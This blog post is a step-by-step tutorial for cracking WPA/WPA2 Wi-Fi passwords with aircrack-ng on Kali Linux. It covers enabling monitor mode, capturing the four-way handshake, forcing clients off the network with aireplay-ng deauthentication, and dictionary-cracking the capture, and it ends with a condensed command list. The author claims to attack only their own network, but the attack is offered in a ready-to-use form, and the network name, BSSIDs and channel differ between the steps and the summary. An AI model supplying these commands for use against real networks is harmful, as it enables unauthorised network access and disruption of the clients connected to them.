Skip to main content

hack wifi complete procedure

 

In this post we will learn how to hack wifi with wpa and wap2 security using aircrack-ng in linux .Hacking wifi is not as easy as you think but it is not also so hard to crack a wifi and get it's password.   wifi stands for wireless fidelity. The network i will hack is mine and none of the third party's confidentiality is compromised here.


image

PREREQUISITE:

  • one external usb wifi adapter that supports moniter mode.
  • kali linux operating system (can be in  a virtual machine)
  • aircrack-ng suite installed in kali linux
  • password list(after capturing hashed password we will convert it into normal password)
let's start :

step1 : first  insert your usb wifi adapter into the computer and check if it properly connected or not. 

To check , type the command in linux terminal : ifconfig

ifconfig

if you see wlan0 , then it is properly connected.

wlan0 property

step 2 :  enable moniter mode, to enable moniter mode :

 type the command : sudo airmon-ng start wlan0

airmon command


now , you can see moniter mode enable . sometimes you can see linux tells you to kill some processes as in my case , if this happens then kill that processes by typing the command : airmon-ng check kill 

or you can type : kill (pid1)(pid2)....

kill 508 1420

step3 : To discover networks around us . type command : airodump-ng wlan0

airodump-ng wlan0

To stop the searching processing , press ctrl+c

now you can see so many bssid(mac addresses) and network names.

checking bssid


let say our network name is kali.

The network I’m interested in is the one named Kail on channel 1, Take note of the channel number and the the MAC address of the target access point. in my case:

  • Channel: 1
  • BSSID: 50:D4:F7:E5:66:F4
Step 4: To Start capturing the packets of your target network type the following command:
airodump-ng -c 1 -w kali --bssid 50:D4:F7:E5:66:F4 wlan0


capturing the packet


now we are trying to capture 4 way handshake.To deauthenticate clients from the network, open a second window. This action will expedite the handshake capture procedure.

For deauthenticate we will use aireplay-ng

aireplay-ng -0 0 -a 50:D4:F7:E5:66:F4 wlan0

airplane

We haven't captured the four-way handshake, but we do obtain the WPA handshake as soon as I deauthenticate clients, as shown in the image below.

wpa handshake

Stop aireplay-ng and airodump-ng with Cntrl+c when we've successfully captured the WPA handshake.

Step 5: Password Cracking How do you decode a four-way handshake?


To list all current folders and files, type "ls" on the terminal.

Select the file with the ".cap" suffix, which should be called kali-01.cap, and run the command:

aircrack-ng -w wordlist.txt kali-01.cap

What aircrack-ng tool is comparing the hash inside the .cap file with the hashes of the passwords listed inside the wordlist.txt file by converting every single line from text to hash and when the hashes match, we know the password.

Now all you have to do is wait till you see ( KEY Found ( your key is here 😉 ).

key found


All Step in few lines

  • airodump-ng wlan
  • airodump-ng -c 2 -w wifi –bssid 50:D4:F7:E5:66:F4 wlan0
  • aireplay-ng -0 0 -a C4:6E:1F:F6:34:B8 wlan0mon
  • aircrack-ng -w wordlist.txt kali-01.cap
so we learned how to crack WPA2 but keep in mind The most important part in all of this is your wifi adapter so make sure you have aircrack compatible wifi adapters.

The following video is the illustration of above post.




Comments

Popular posts from this blog

leetcode 48 solution

  48 .  Rotate Image You are given an  n x n  2D  matrix  representing an image, rotate the image by  90  degrees (clockwise). You have to rotate the image  in-place , which means you have to modify the input 2D matrix directly.  DO NOT  allocate another 2D matrix and do the rotation.   Example 1: Input: matrix = [[1,2,3],[4,5,6],[7,8,9]] Output: [[7,4,1],[8,5,2],[9,6,3]] Example 2: Input: matrix = [[5,1,9,11],[2,4,8,10],[13,3,6,7],[15,14,12,16]] Output: [[15,13,2,5],[14,3,4,1],[12,6,8,9],[16,7,10,11]]   Constraints: n == matrix.length == matrix[i].length 1 <= n <= 20 -1000 <= matrix[i][j] <= 1000 solution: class Solution { public:     void swap(int& a , int &b)     {         int c ;         c = a;         a = b;         b = c;     }     void transpose (vector<vector<int>...

2485. Find the Pivot Integer | Binary search

  Given a positive integer   n , find the   pivot integer   x   such that: The sum of all elements between  1  and  x  inclusively equals the sum of all elements between  x  and  n  inclusively. Return  the pivot integer  x . If no such integer exists, return  -1 . It is guaranteed that there will be at most one pivot index for the given input.   Example 1: Input: n = 8 Output: 6 Explanation: 6 is the pivot integer since: 1 + 2 + 3 + 4 + 5 + 6 = 6 + 7 + 8 = 21. Example 2: Input: n = 1 Output: 1 Explanation: 1 is the pivot integer since: 1 = 1. Example 3: Input: n = 4 Output: -1 Explanation: It can be proved that no such integer exist.   Constraints: 1 <= n <= 1000 Solution : class Solution { publ ic:     int pivotInteger( int n ) {         int sum = (( n )*( n + 1 ))/ 2 ;         int i = 1 ;         int j =...

Regular Expression Matching Leetcode Solution

Regular Expression Matching Given an input string s and a pattern p, implement regular expression matching with support for '.' and '*' where: '.' Matches any single character.​​​​ '*' Matches zero or more of the preceding element. The matching should cover the entire input string (not partial). Example 1: Input: s = "aa", p = "a"  Output: false  Explanation: "a" does not match the entire string "aa". Example 2: Input: s = "aa", p = "a*"  Output: true  Explanation: '*' means zero or more of the preceding element, 'a'. Therefore, by repeating 'a' once, it becomes "aa". Example 3: Input: s = "ab", p = ".*"  Output: true  Explanation: ".*" means "zero or more (*) of any character (.)". Constraints: 1 <= s.length <= 20 1 <= p.length <= 20 s contains only lowercase English letters. p contains only lowercase Englis...